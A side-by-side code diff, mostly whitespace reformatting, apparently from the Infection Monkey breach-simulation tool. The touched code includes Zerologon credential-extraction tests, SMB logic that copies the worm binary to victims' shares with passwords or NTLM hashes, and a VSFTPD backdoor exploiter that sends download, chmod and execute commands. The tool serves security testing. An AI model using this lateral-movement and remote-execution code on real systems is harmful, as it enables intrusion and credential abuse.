assert not zerologon_exploiter_object.assess_restoration_attempt_result(
|
assert not zerologon_exploiter_object.assess_restoration_attempt_result(
|
||||||
dummy_restoration_attempt_result
|
dummy_restoration_attempt_result
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@ -56,15 +56,15 @@ def test__extract_user_creds_from_secrets_good_data(zerologon_exploiter_object):
|
||||||
f"{USERS[i]}:{RIDS[i]}:{LM_HASHES[i]}:{NT_HASHES[i]}:::" for i in range(len(USERS))
|
f"{USERS[i]}:{RIDS[i]}:{LM_HASHES[i]}:{NT_HASHES[i]}:::" for i in range(len(USERS))
|
||||||
]
|
]
|
||||||
expected_extracted_creds = {
|
expected_extracted_creds = {
|
||||||
USERS[0]:{
|
USERS[0]: {
|
||||||
"RID":int(RIDS[0]),
|
"RID": int(RIDS[0]),
|
||||||
"lm_hash":LM_HASHES[0],
|
"lm_hash": LM_HASHES[0],
|
||||||
"nt_hash":NT_HASHES[0],
|
"nt_hash": NT_HASHES[0],
|
||||||
},
|
},
|
||||||
USERS[1]:{
|
USERS[1]: {
|
||||||
"RID":int(RIDS[1]),
|
"RID": int(RIDS[1]),
|
||||||
"lm_hash":LM_HASHES[1],
|
"lm_hash": LM_HASHES[1],
|
||||||
"nt_hash":NT_HASHES[1],
|
"nt_hash": NT_HASHES[1],
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
assert zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) is None
|
assert zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) is None
|
||||||
|
@ -76,8 +76,8 @@ def test__extract_user_creds_from_secrets_bad_data(zerologon_exploiter_object):
|
||||||
f"{USERS[i]}:{RIDS[i]}:::{LM_HASHES[i]}:{NT_HASHES[i]}:::" for i in range(len(USERS))
|
f"{USERS[i]}:{RIDS[i]}:::{LM_HASHES[i]}:{NT_HASHES[i]}:::" for i in range(len(USERS))
|
||||||
]
|
]
|
||||||
expected_extracted_creds = {
|
expected_extracted_creds = {
|
||||||
USERS[0]:{"RID":int(RIDS[0]), "lm_hash":"", "nt_hash":""},
|
USERS[0]: {"RID": int(RIDS[0]), "lm_hash": "", "nt_hash": ""},
|
||||||
USERS[1]:{"RID":int(RIDS[1]), "lm_hash":"", "nt_hash":""},
|
USERS[1]: {"RID": int(RIDS[1]), "lm_hash": "", "nt_hash": ""},
|
||||||
}
|
}
|
||||||
assert zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) is None
|
assert zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) is None
|
||||||
assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds
|
assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds
|
||||||
|
|
|
@ -32,7 +32,7 @@ def get_target_monkey(host):
|
||||||
# if exe not found, and we have the same arch or arch is unknown and we are 32bit,
|
# if exe not found, and we have the same arch or arch is unknown and we are 32bit,
|
||||||
# use our exe
|
# use our exe
|
||||||
if (not host.os.get("machine") and sys.maxsize < 2 ** 32) or host.os.get(
|
if (not host.os.get("machine") and sys.maxsize < 2 ** 32) or host.os.get(
|
||||||
"machine", ""
|
"machine", ""
|
||||||
).lower() == platform.machine().lower():
|
).lower() == platform.machine().lower():
|
||||||
monkey_path = sys.executable
|
monkey_path = sys.executable
|
||||||
|
|
||||||
|
@ -46,7 +46,7 @@ def get_target_monkey_by_os(is_windows, is_32bit):
|
||||||
|
|
||||||
|
|
||||||
def build_monkey_commandline_explicitly(
|
def build_monkey_commandline_explicitly(
|
||||||
parent=None, tunnel=None, server=None, depth=None, location=None, vulnerable_port=None
|
parent=None, tunnel=None, server=None, depth=None, location=None, vulnerable_port=None
|
||||||
):
|
):
|
||||||
cmdline = ""
|
cmdline = ""
|
||||||
|
|
||||||
|
@ -72,12 +72,12 @@ def build_monkey_commandline(target_host, depth, vulnerable_port, location=None)
|
||||||
from infection_monkey.config import GUID
|
from infection_monkey.config import GUID
|
||||||
|
|
||||||
return build_monkey_commandline_explicitly(
|
return build_monkey_commandline_explicitly(
|
||||||
GUID,
|
GUID,
|
||||||
target_host.default_tunnel,
|
target_host.default_tunnel,
|
||||||
target_host.default_server,
|
target_host.default_server,
|
||||||
depth,
|
depth,
|
||||||
location,
|
location,
|
||||||
vulnerable_port,
|
vulnerable_port,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@ -107,13 +107,13 @@ def get_monkey_dest_path(url_to_monkey):
|
||||||
return WormConfiguration.dropper_target_path_win_64
|
return WormConfiguration.dropper_target_path_win_64
|
||||||
else:
|
else:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Could not figure out what type of monkey server was trying to upload, "
|
"Could not figure out what type of monkey server was trying to upload, "
|
||||||
"thus destination path can not be chosen."
|
"thus destination path can not be chosen."
|
||||||
)
|
)
|
||||||
return False
|
return False
|
||||||
except AttributeError:
|
except AttributeError:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Seems like monkey's source configuration property names changed. "
|
"Seems like monkey's source configuration property names changed. "
|
||||||
"Can not get destination path to upload monkey"
|
"Can not get destination path to upload monkey"
|
||||||
)
|
)
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -43,7 +43,7 @@ class HTTPTools(object):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(
|
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||||
host, src_path, local_ip, local_port
|
host, src_path, local_ip, local_port
|
||||||
)
|
)
|
||||||
if not http_path:
|
if not http_path:
|
||||||
raise Exception("Http transfer creation failed.")
|
raise Exception("Http transfer creation failed.")
|
||||||
|
@ -98,7 +98,7 @@ class MonkeyHTTPServer(HTTPTools):
|
||||||
# Get monkey exe for host and it's path
|
# Get monkey exe for host and it's path
|
||||||
src_path = try_get_target_monkey(self.host)
|
src_path = try_get_target_monkey(self.host)
|
||||||
self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(
|
self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(
|
||||||
self.host, src_path
|
self.host, src_path
|
||||||
)
|
)
|
||||||
|
|
||||||
def stop(self):
|
def stop(self):
|
||||||
|
|
|
@ -47,15 +47,15 @@ class LimitedSizePayload(Payload):
|
||||||
def split_into_array_of_smaller_payloads(self):
|
def split_into_array_of_smaller_payloads(self):
|
||||||
if self.is_suffix_and_prefix_too_long():
|
if self.is_suffix_and_prefix_too_long():
|
||||||
raise Exception(
|
raise Exception(
|
||||||
"Can't split command into smaller sub-commands because commands' prefix and "
|
"Can't split command into smaller sub-commands because commands' prefix and "
|
||||||
"suffix already "
|
"suffix already "
|
||||||
"exceeds required length of command."
|
"exceeds required length of command."
|
||||||
)
|
)
|
||||||
|
|
||||||
elif self.command == "":
|
elif self.command == "":
|
||||||
return [self.prefix + self.suffix]
|
return [self.prefix + self.suffix]
|
||||||
wrapper = textwrap.TextWrapper(
|
wrapper = textwrap.TextWrapper(
|
||||||
drop_whitespace=False, width=self.get_max_sub_payload_length()
|
drop_whitespace=False, width=self.get_max_sub_payload_length()
|
||||||
)
|
)
|
||||||
commands = [self.get_payload(part) for part in wrapper.wrap(self.command)]
|
commands = [self.get_payload(part) for part in wrapper.wrap(self.command)]
|
||||||
return commands
|
return commands
|
||||||
|
|
|
@ -14,8 +14,8 @@ class TestPayload(TestCase):
|
||||||
pld_fail = LimitedSizePayload("b", 2, "a", "c")
|
pld_fail = LimitedSizePayload("b", 2, "a", "c")
|
||||||
pld_success = LimitedSizePayload("b", 3, "a", "c")
|
pld_success = LimitedSizePayload("b", 3, "a", "c")
|
||||||
assert (
|
assert (
|
||||||
pld_fail.is_suffix_and_prefix_too_long()
|
pld_fail.is_suffix_and_prefix_too_long()
|
||||||
and not pld_success.is_suffix_and_prefix_too_long()
|
and not pld_success.is_suffix_and_prefix_too_long()
|
||||||
)
|
)
|
||||||
|
|
||||||
def test_split_into_array_of_smaller_payloads(self):
|
def test_split_into_array_of_smaller_payloads(self):
|
||||||
|
@ -23,17 +23,16 @@ class TestPayload(TestCase):
|
||||||
pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix")
|
pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix")
|
||||||
array1 = pld1.split_into_array_of_smaller_payloads()
|
array1 = pld1.split_into_array_of_smaller_payloads()
|
||||||
test1 = bool(
|
test1 = bool(
|
||||||
array1[0] == "prefix1234suffix"
|
array1[0] == "prefix1234suffix"
|
||||||
and array1[1] == "prefix5678suffix"
|
and array1[1] == "prefix5678suffix"
|
||||||
and array1[2] == "prefix9suffix"
|
and array1[2] == "prefix9suffix"
|
||||||
)
|
)
|
||||||
|
|
||||||
test_str2 = "12345678"
|
test_str2 = "12345678"
|
||||||
pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix")
|
pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix")
|
||||||
array2 = pld2.split_into_array_of_smaller_payloads()
|
array2 = pld2.split_into_array_of_smaller_payloads()
|
||||||
test2 = bool(
|
test2 = bool(
|
||||||
array2[0] == "prefix1234suffix" and array2[1] == "prefix5678suffix" and len(
|
array2[0] == "prefix1234suffix" and array2[1] == "prefix5678suffix" and len(array2) == 2
|
||||||
array2) == 2
|
|
||||||
)
|
)
|
||||||
|
|
||||||
assert test1 and test2
|
assert test1 and test2
|
||||||
|
|
|
@ -21,14 +21,14 @@ LOG = logging.getLogger(__name__)
|
||||||
class SmbTools(object):
|
class SmbTools(object):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def copy_file(
|
def copy_file(
|
||||||
host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60
|
host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60
|
||||||
):
|
):
|
||||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||||
config = infection_monkey.config.WormConfiguration
|
config = infection_monkey.config.WormConfiguration
|
||||||
src_file_size = monkeyfs.getsize(src_path)
|
src_file_size = monkeyfs.getsize(src_path)
|
||||||
|
|
||||||
smb, dialect = SmbTools.new_smb_connection(
|
smb, dialect = SmbTools.new_smb_connection(
|
||||||
host, username, password, lm_hash, ntlm_hash, timeout
|
host, username, password, lm_hash, ntlm_hash, timeout
|
||||||
)
|
)
|
||||||
if not smb:
|
if not smb:
|
||||||
return None
|
return None
|
||||||
|
@ -36,14 +36,14 @@ class SmbTools(object):
|
||||||
# skip guest users
|
# skip guest users
|
||||||
if smb.isGuestSession() > 0:
|
if smb.isGuestSession() > 0:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Connection to %r granted guest privileges with user: %s, password (SHA-512): "
|
"Connection to %r granted guest privileges with user: %s, password (SHA-512): "
|
||||||
"'%s',"
|
"'%s',"
|
||||||
" LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
|
" LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
|
||||||
host,
|
host,
|
||||||
username,
|
username,
|
||||||
Configuration.hash_sensitive_data(password),
|
Configuration.hash_sensitive_data(password),
|
||||||
Configuration.hash_sensitive_data(lm_hash),
|
Configuration.hash_sensitive_data(lm_hash),
|
||||||
Configuration.hash_sensitive_data(ntlm_hash),
|
Configuration.hash_sensitive_data(ntlm_hash),
|
||||||
)
|
)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -60,12 +60,12 @@ class SmbTools(object):
|
||||||
return None
|
return None
|
||||||
|
|
||||||
info = {
|
info = {
|
||||||
"major_version":resp["InfoStruct"]["ServerInfo102"]["sv102_version_major"],
|
"major_version": resp["InfoStruct"]["ServerInfo102"]["sv102_version_major"],
|
||||||
"minor_version":resp["InfoStruct"]["ServerInfo102"]["sv102_version_minor"],
|
"minor_version": resp["InfoStruct"]["ServerInfo102"]["sv102_version_minor"],
|
||||||
"server_name":resp["InfoStruct"]["ServerInfo102"]["sv102_name"].strip("\0 "),
|
"server_name": resp["InfoStruct"]["ServerInfo102"]["sv102_name"].strip("\0 "),
|
||||||
"server_comment":resp["InfoStruct"]["ServerInfo102"]["sv102_comment"].strip("\0 "),
|
"server_comment": resp["InfoStruct"]["ServerInfo102"]["sv102_comment"].strip("\0 "),
|
||||||
"server_user_path":resp["InfoStruct"]["ServerInfo102"]["sv102_userpath"].strip("\0 "),
|
"server_user_path": resp["InfoStruct"]["ServerInfo102"]["sv102_userpath"].strip("\0 "),
|
||||||
"simultaneous_users":resp["InfoStruct"]["ServerInfo102"]["sv102_users"],
|
"simultaneous_users": resp["InfoStruct"]["ServerInfo102"]["sv102_users"],
|
||||||
}
|
}
|
||||||
|
|
||||||
LOG.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info))
|
LOG.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info))
|
||||||
|
@ -90,23 +90,23 @@ class SmbTools(object):
|
||||||
|
|
||||||
if current_uses >= max_uses:
|
if current_uses >= max_uses:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Skipping share '%s' on victim %r because max uses is exceeded",
|
"Skipping share '%s' on victim %r because max uses is exceeded",
|
||||||
share_name,
|
share_name,
|
||||||
host,
|
host,
|
||||||
)
|
)
|
||||||
continue
|
continue
|
||||||
elif not share_path:
|
elif not share_path:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Skipping share '%s' on victim %r because share path is invalid",
|
"Skipping share '%s' on victim %r because share path is invalid",
|
||||||
share_name,
|
share_name,
|
||||||
host,
|
host,
|
||||||
)
|
)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
share_info = {"share_name":share_name, "share_path":share_path}
|
share_info = {"share_name": share_name, "share_path": share_path}
|
||||||
|
|
||||||
if dst_path.lower().startswith(share_path.lower()):
|
if dst_path.lower().startswith(share_path.lower()):
|
||||||
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
|
high_priority_shares += ((ntpath.sep + dst_path[len(share_path) :], share_info),)
|
||||||
|
|
||||||
low_priority_shares += ((ntpath.sep + file_name, share_info),)
|
low_priority_shares += ((ntpath.sep + file_name, share_info),)
|
||||||
|
|
||||||
|
@ -119,7 +119,7 @@ class SmbTools(object):
|
||||||
|
|
||||||
if not smb:
|
if not smb:
|
||||||
smb, _ = SmbTools.new_smb_connection(
|
smb, _ = SmbTools.new_smb_connection(
|
||||||
host, username, password, lm_hash, ntlm_hash, timeout
|
host, username, password, lm_hash, ntlm_hash, timeout
|
||||||
)
|
)
|
||||||
if not smb:
|
if not smb:
|
||||||
return None
|
return None
|
||||||
|
@ -128,17 +128,16 @@ class SmbTools(object):
|
||||||
smb.connectTree(share_name)
|
smb.connectTree(share_name)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Error connecting tree to share '%s' on victim %r: %s", share_name, host,
|
"Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc
|
||||||
exc
|
|
||||||
)
|
)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
|
"Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
|
||||||
share_name,
|
share_name,
|
||||||
share_path,
|
share_path,
|
||||||
remote_path,
|
remote_path,
|
||||||
host.ip_addr[0],
|
host.ip_addr[0],
|
||||||
)
|
)
|
||||||
|
|
||||||
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
||||||
|
@ -153,8 +152,7 @@ class SmbTools(object):
|
||||||
return remote_full_path
|
return remote_full_path
|
||||||
|
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Remote monkey file is found but different, moving along with "
|
"Remote monkey file is found but different, moving along with " "attack"
|
||||||
"attack"
|
|
||||||
)
|
)
|
||||||
except Exception:
|
except Exception:
|
||||||
pass # file isn't found on remote victim, moving on
|
pass # file isn't found on remote victim, moving on
|
||||||
|
@ -167,28 +165,26 @@ class SmbTools(object):
|
||||||
|
|
||||||
file_uploaded = True
|
file_uploaded = True
|
||||||
T1105Telem(
|
T1105Telem(
|
||||||
ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr,
|
ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path
|
||||||
dst_path
|
|
||||||
).send()
|
).send()
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
|
"Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
|
||||||
src_path,
|
src_path,
|
||||||
share_name,
|
share_name,
|
||||||
share_path,
|
share_path,
|
||||||
host,
|
host,
|
||||||
)
|
)
|
||||||
|
|
||||||
break
|
break
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Error uploading monkey to share '%s' on victim %r: %s", share_name, host,
|
"Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc
|
||||||
exc
|
|
||||||
)
|
)
|
||||||
T1105Telem(
|
T1105Telem(
|
||||||
ScanStatus.SCANNED,
|
ScanStatus.SCANNED,
|
||||||
get_interface_to_target(host.ip_addr),
|
get_interface_to_target(host.ip_addr),
|
||||||
host.ip_addr,
|
host.ip_addr,
|
||||||
dst_path,
|
dst_path,
|
||||||
).send()
|
).send()
|
||||||
continue
|
continue
|
||||||
finally:
|
finally:
|
||||||
|
@ -201,14 +197,14 @@ class SmbTools(object):
|
||||||
|
|
||||||
if not file_uploaded:
|
if not file_uploaded:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Couldn't find a writable share for exploiting victim %r with "
|
"Couldn't find a writable share for exploiting victim %r with "
|
||||||
"username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
|
"username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
|
||||||
"SHA-512): %s",
|
"SHA-512): %s",
|
||||||
host,
|
host,
|
||||||
username,
|
username,
|
||||||
Configuration.hash_sensitive_data(password),
|
Configuration.hash_sensitive_data(password),
|
||||||
Configuration.hash_sensitive_data(lm_hash),
|
Configuration.hash_sensitive_data(lm_hash),
|
||||||
Configuration.hash_sensitive_data(ntlm_hash),
|
Configuration.hash_sensitive_data(ntlm_hash),
|
||||||
)
|
)
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
@ -228,9 +224,9 @@ class SmbTools(object):
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
dialect = {
|
dialect = {
|
||||||
SMB_DIALECT:"SMBv1",
|
SMB_DIALECT: "SMBv1",
|
||||||
SMB2_DIALECT_002:"SMBv2.0",
|
SMB2_DIALECT_002: "SMBv2.0",
|
||||||
SMB2_DIALECT_21:"SMBv2.1",
|
SMB2_DIALECT_21: "SMBv2.1",
|
||||||
}.get(smb.getDialect(), "SMBv3.0")
|
}.get(smb.getDialect(), "SMBv3.0")
|
||||||
|
|
||||||
# we know this should work because the WMI connection worked
|
# we know this should work because the WMI connection worked
|
||||||
|
@ -238,14 +234,14 @@ class SmbTools(object):
|
||||||
smb.login(username, password, "", lm_hash, ntlm_hash)
|
smb.login(username, password, "", lm_hash, ntlm_hash)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Error while logging into %r using user: %s, password (SHA-512): '%s', "
|
"Error while logging into %r using user: %s, password (SHA-512): '%s', "
|
||||||
"LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s",
|
"LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s",
|
||||||
host,
|
host,
|
||||||
username,
|
username,
|
||||||
Configuration.hash_sensitive_data(password),
|
Configuration.hash_sensitive_data(password),
|
||||||
Configuration.hash_sensitive_data(lm_hash),
|
Configuration.hash_sensitive_data(lm_hash),
|
||||||
Configuration.hash_sensitive_data(ntlm_hash),
|
Configuration.hash_sensitive_data(ntlm_hash),
|
||||||
exc,
|
exc,
|
||||||
)
|
)
|
||||||
return None, dialect
|
return None, dialect
|
||||||
|
|
||||||
|
@ -264,7 +260,7 @@ class SmbTools(object):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_dce_bind(smb):
|
def get_dce_bind(smb):
|
||||||
rpctransport = transport.SMBTransport(
|
rpctransport = transport.SMBTransport(
|
||||||
smb.getRemoteHost(), smb.getRemoteHost(), filename=r"\srvsvc", smb_connection=smb
|
smb.getRemoteHost(), smb.getRemoteHost(), filename=r"\srvsvc", smb_connection=smb
|
||||||
)
|
)
|
||||||
dce = rpctransport.get_dce_rpc()
|
dce = rpctransport.get_dce_rpc()
|
||||||
dce.connect()
|
dce.connect()
|
||||||
|
|
|
@ -7,12 +7,12 @@ class TestHelpers(unittest.TestCase):
|
||||||
def test_build_monkey_commandline_explicitly(self):
|
def test_build_monkey_commandline_explicitly(self):
|
||||||
test1 = " -p 101010 -t 10.10.101.10 -s 127.127.127.127:5000 -d 0 -l C:\\windows\\abc -vp 80"
|
test1 = " -p 101010 -t 10.10.101.10 -s 127.127.127.127:5000 -d 0 -l C:\\windows\\abc -vp 80"
|
||||||
result1 = build_monkey_commandline_explicitly(
|
result1 = build_monkey_commandline_explicitly(
|
||||||
101010, "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", 80
|
101010, "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", 80
|
||||||
)
|
)
|
||||||
|
|
||||||
test2 = " -p parent -s 127.127.127.127:5000 -d 0 -vp 80"
|
test2 = " -p parent -s 127.127.127.127:5000 -d 0 -vp 80"
|
||||||
result2 = build_monkey_commandline_explicitly(
|
result2 = build_monkey_commandline_explicitly(
|
||||||
parent="parent", server="127.127.127.127:5000", depth="0", vulnerable_port="80"
|
parent="parent", server="127.127.127.127:5000", depth="0", vulnerable_port="80"
|
||||||
)
|
)
|
||||||
|
|
||||||
self.assertEqual(test1, result1)
|
self.assertEqual(test1, result1)
|
||||||
|
|
|
@ -17,8 +17,8 @@ class DceRpcException(Exception):
|
||||||
class AccessDeniedException(Exception):
|
class AccessDeniedException(Exception):
|
||||||
def __init__(self, host, username, password, domain):
|
def __init__(self, host, username, password, domain):
|
||||||
super(AccessDeniedException, self).__init__(
|
super(AccessDeniedException, self).__init__(
|
||||||
"Access is denied to %r with username %s\\%s and password %r"
|
"Access is denied to %r with username %s\\%s and password %r"
|
||||||
% (host, domain, username, password)
|
% (host, domain, username, password)
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@ -37,18 +37,18 @@ class WmiTools(object):
|
||||||
domain = host.ip_addr
|
domain = host.ip_addr
|
||||||
|
|
||||||
dcom = DCOMConnection(
|
dcom = DCOMConnection(
|
||||||
host.ip_addr,
|
host.ip_addr,
|
||||||
username=username,
|
username=username,
|
||||||
password=password,
|
password=password,
|
||||||
domain=domain,
|
domain=domain,
|
||||||
lmhash=lmhash,
|
lmhash=lmhash,
|
||||||
nthash=nthash,
|
nthash=nthash,
|
||||||
oxidResolver=True,
|
oxidResolver=True,
|
||||||
)
|
)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
iInterface = dcom.CoCreateInstanceEx(
|
iInterface = dcom.CoCreateInstanceEx(
|
||||||
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
|
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
|
||||||
)
|
)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
dcom.disconnect()
|
dcom.disconnect()
|
||||||
|
|
|
@ -122,7 +122,7 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
|
|
||||||
# Upload the monkey to the machine
|
# Upload the monkey to the machine
|
||||||
monkey_path = dropper_target_path_linux
|
monkey_path = dropper_target_path_linux
|
||||||
download_command = WGET_HTTP_UPLOAD % {"monkey_path":monkey_path, "http_path":http_path}
|
download_command = WGET_HTTP_UPLOAD % {"monkey_path": monkey_path, "http_path": http_path}
|
||||||
download_command = str.encode(str(download_command) + "\n")
|
download_command = str.encode(str(download_command) + "\n")
|
||||||
LOG.info("Download command is %s", download_command)
|
LOG.info("Download command is %s", download_command)
|
||||||
if self.socket_send(backdoor_socket, download_command):
|
if self.socket_send(backdoor_socket, download_command):
|
||||||
|
@ -135,7 +135,7 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
http_thread.stop()
|
http_thread.stop()
|
||||||
|
|
||||||
# Change permissions
|
# Change permissions
|
||||||
change_permission = CHMOD_MONKEY % {"monkey_path":monkey_path}
|
change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path}
|
||||||
change_permission = str.encode(str(change_permission) + "\n")
|
change_permission = str.encode(str(change_permission) + "\n")
|
||||||
LOG.info("change_permission command is %s", change_permission)
|
LOG.info("change_permission command is %s", change_permission)
|
||||||
backdoor_socket.send(change_permission)
|
backdoor_socket.send(change_permission)
|
||||||
|
@ -143,12 +143,12 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
|
|
||||||
# Run monkey on the machine
|
# Run monkey on the machine
|
||||||
parameters = build_monkey_commandline(
|
parameters = build_monkey_commandline(
|
||||||
self.host, get_monkey_depth() - 1, vulnerable_port=FTP_PORT
|
self.host, get_monkey_depth() - 1, vulnerable_port=FTP_PORT
|
||||||
)
|
)
|
||||||
run_monkey = RUN_MONKEY % {
|
run_monkey = RUN_MONKEY % {
|
||||||
"monkey_path":monkey_path,
|
"monkey_path": monkey_path,
|
||||||
"monkey_type":MONKEY_ARG,
|
"monkey_type": MONKEY_ARG,
|
||||||
"parameters":parameters,
|
"parameters": parameters,
|
||||||
}
|
}
|
||||||
|
|
||||||
# Set unlimited to memory
|
# Set unlimited to memory
|
||||||
|
@ -159,10 +159,10 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
time.sleep(FTP_TIME_BUFFER)
|
time.sleep(FTP_TIME_BUFFER)
|
||||||
if backdoor_socket.send(run_monkey):
|
if backdoor_socket.send(run_monkey):
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
self._config.dropper_target_path_linux,
|
self._config.dropper_target_path_linux,
|
||||||
self.host,
|
self.host,
|
||||||
run_monkey,
|
run_monkey,
|
||||||
)
|
)
|
||||||
self.add_executed_cmd(run_monkey.decode())
|
self.add_executed_cmd(run_monkey.decode())
|
||||||
return True
|
return True
|
||||||
|
|
|
@ -52,9 +52,9 @@ class WebRCE(HostExploiter):
|
||||||
self.monkey_target_paths = monkey_target_paths
|
self.monkey_target_paths = monkey_target_paths
|
||||||
else:
|
else:
|
||||||
self.monkey_target_paths = {
|
self.monkey_target_paths = {
|
||||||
"linux":self._config.dropper_target_path_linux,
|
"linux": self._config.dropper_target_path_linux,
|
||||||
"win32":self._config.dropper_target_path_win_32,
|
"win32": self._config.dropper_target_path_win_32,
|
||||||
"win64":self._config.dropper_target_path_win_64,
|
"win64": self._config.dropper_target_path_win_64,
|
||||||
}
|
}
|
||||||
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
@ -117,12 +117,12 @@ class WebRCE(HostExploiter):
|
||||||
|
|
||||||
# Skip if monkey already exists and this option is given
|
# Skip if monkey already exists and this option is given
|
||||||
if (
|
if (
|
||||||
not exploit_config["blind_exploit"]
|
not exploit_config["blind_exploit"]
|
||||||
and self.skip_exist
|
and self.skip_exist
|
||||||
and self.check_remote_files(self.target_url)
|
and self.check_remote_files(self.target_url)
|
||||||
):
|
):
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Host %s was already infected under the current configuration, done" % self.host
|
"Host %s was already infected under the current configuration, done" % self.host
|
||||||
)
|
)
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
@ -142,10 +142,10 @@ class WebRCE(HostExploiter):
|
||||||
|
|
||||||
# Execute remote monkey
|
# Execute remote monkey
|
||||||
if (
|
if (
|
||||||
self.execute_remote_monkey(
|
self.execute_remote_monkey(
|
||||||
self.get_target_url(), data["path"], exploit_config["dropper"]
|
self.get_target_url(), data["path"], exploit_config["dropper"]
|
||||||
)
|
)
|
||||||
is False
|
is False
|
||||||
):
|
):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -169,15 +169,15 @@ class WebRCE(HostExploiter):
|
||||||
"""
|
"""
|
||||||
candidate_services = {}
|
candidate_services = {}
|
||||||
candidate_services.update(
|
candidate_services.update(
|
||||||
{
|
{
|
||||||
service:self.host.services[service]
|
service: self.host.services[service]
|
||||||
for service in self.host.services
|
for service in self.host.services
|
||||||
if (
|
if (
|
||||||
self.host.services[service]
|
self.host.services[service]
|
||||||
and "name" in self.host.services[service]
|
and "name" in self.host.services[service]
|
||||||
and self.host.services[service]["name"] in names
|
and self.host.services[service]["name"] in names
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
|
||||||
valid_ports = [
|
valid_ports = [
|
||||||
|
@ -202,12 +202,12 @@ class WebRCE(HostExploiter):
|
||||||
else:
|
else:
|
||||||
command = commands["windows"]
|
command = commands["windows"]
|
||||||
# Format command
|
# Format command
|
||||||
